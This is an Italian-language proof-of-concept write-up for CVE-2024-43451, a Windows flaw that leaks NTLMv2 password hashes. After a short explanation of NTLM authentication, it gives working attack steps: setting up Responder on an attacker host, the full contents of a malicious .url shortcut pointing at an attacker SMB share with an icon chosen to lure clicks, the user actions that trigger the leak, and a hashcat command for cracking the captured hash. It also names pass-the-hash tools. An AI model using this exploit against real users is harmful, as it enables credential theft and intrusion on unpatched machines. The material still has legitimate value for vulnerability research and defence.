Descrizione

• Nome : CVE-2024-43451
• Punteggio CVSSv3 : 6.5
• Versioni interessate : Tutte le versioni di Microsoft Windows precedenti alla patch di novembre 2024

CVE-2024-43451 è una vulnerabilità zero-day in Microsoft Windows che consente agli attaccanti di catturare hash di password NTLMv2 con un'interazione minima da parte dell'utente, portando potenzialmente al furto di credenziali. Un metodo comunemente sfruttato prevede l'utilizzo dell'autenticazione NTLM su connessioni SMB verso un server remoto per catturare l'hash. Questa vulnerabilità è stata corretta negli aggiornamenti di novembre 2024. Si consiglia agli utenti di applicare gli opportuni aggiornamenti di sicurezza per mitigare il rischio.

Questo attacco è stato scoperto essere attivamente sfruttato tramite un'email di phishing inviata da un server governativo ucraino compromesso. L'email include un file URL malevolo. Quando l'utente interagisce con il file cliccando con il tasto destro, eliminando o spostandolo, la vulnerabilità viene attivata. Ciò innesca una connessione al server dell'attaccante, portando al download di ulteriori file malevoli, come il malware SparkRAT (un trojan ad accesso remoto open-source che permette all'attaccante di ottenere il controllo del sistema della vittima).

Autenticazione NTLM

NTLMv2 è attualmente la versione più sicura e più rilevante oggi.

• Il client si connette al server e richiede l'accesso a una risorsa.
• Il server genera un nonce (una sfida casuale di 16 byte) e lo invia al client.
• Il client invia una risposta generata usando l'algoritmo HMAC-MD5 che include l'hash della password (usando l'algoritmo NT hash), nonce del server, timestamp, nonce del client e altro.
• Il server usa l'NT hash e ripete gli stessi calcoli per sé per produrre la propria risposta NTLM; una volta che ciascuno ha la propria risposta, sono in grado di confrontarle.
• Una volta confrontate, il server decide se accettare o rifiutare la connessione.

image

Sfruttamento

Configurazione POC

Per creare un ambiente funzionante per questo POC dobbiamo impostare una macchina Windows target con un numero di build rilasciato prima di novembre 2024, e un server remoto per simulare la cattura dell'hash:

1. Scarica e installa Responder per catturare l'hash tramite SMB:

   brew install python3
   

   git clone https://github.com/lgandx/Responder.git
   

   cd Responder
   

   sudo python3 Responder.py -I <put your network interface> -v
   

2. Assicurati che ci sia una connessione riuscita tra la VM Windows target e il tuo ambiente "hacker" remoto.
3. Verifica la configurazione di Responder andando in Esplora risorse e digitando \\(remote server IP):

Creazione dell'Exploit

Poiché tutto ciò di cui ha bisogno l'exploit è effettuare una connessione SMB con il server remoto, possiamo usare un semplice file per simularlo:

1. Apri Blocco note
2. Inserisci quanto segue:
   Puoi inserire qualsiasi icona che possa indurre l'utente all'interazione; io ho usato l'icona "cestino pieno" (32)

   [InternetShortcut]
   URL=\\(remote server IP)\share
   IconIndex=32                    
   IconFile=C:\Windows\System32\shell32.dll
   

3. Salvalo come (nome).url

Processo Attivo

Una volta che il file è preparato e consegnato al sistema target, rubare l'hash richiede un'interazione minima dell'utente. Questa interazione potrebbe coinvolgere una qualsiasi delle seguenti azioni:

• Scaricare il file e accedere alla cartella "Download"
• Fare clic con il tasto destro sul file
• Spostare il file in un'altra cartella

https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058

https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2

Cracking

Con l'hash non crittografato in mano, possiamo tentare di crackarlo per rivelare la password in chiaro o usarlo in un attacco Pass-the-Hash con strumenti come Mimikatz o Metasploit.

Nel nostro caso, un semplice comando Hashcat rivela la mia password: hashcat -m 5600 leak.txt rockyou.txt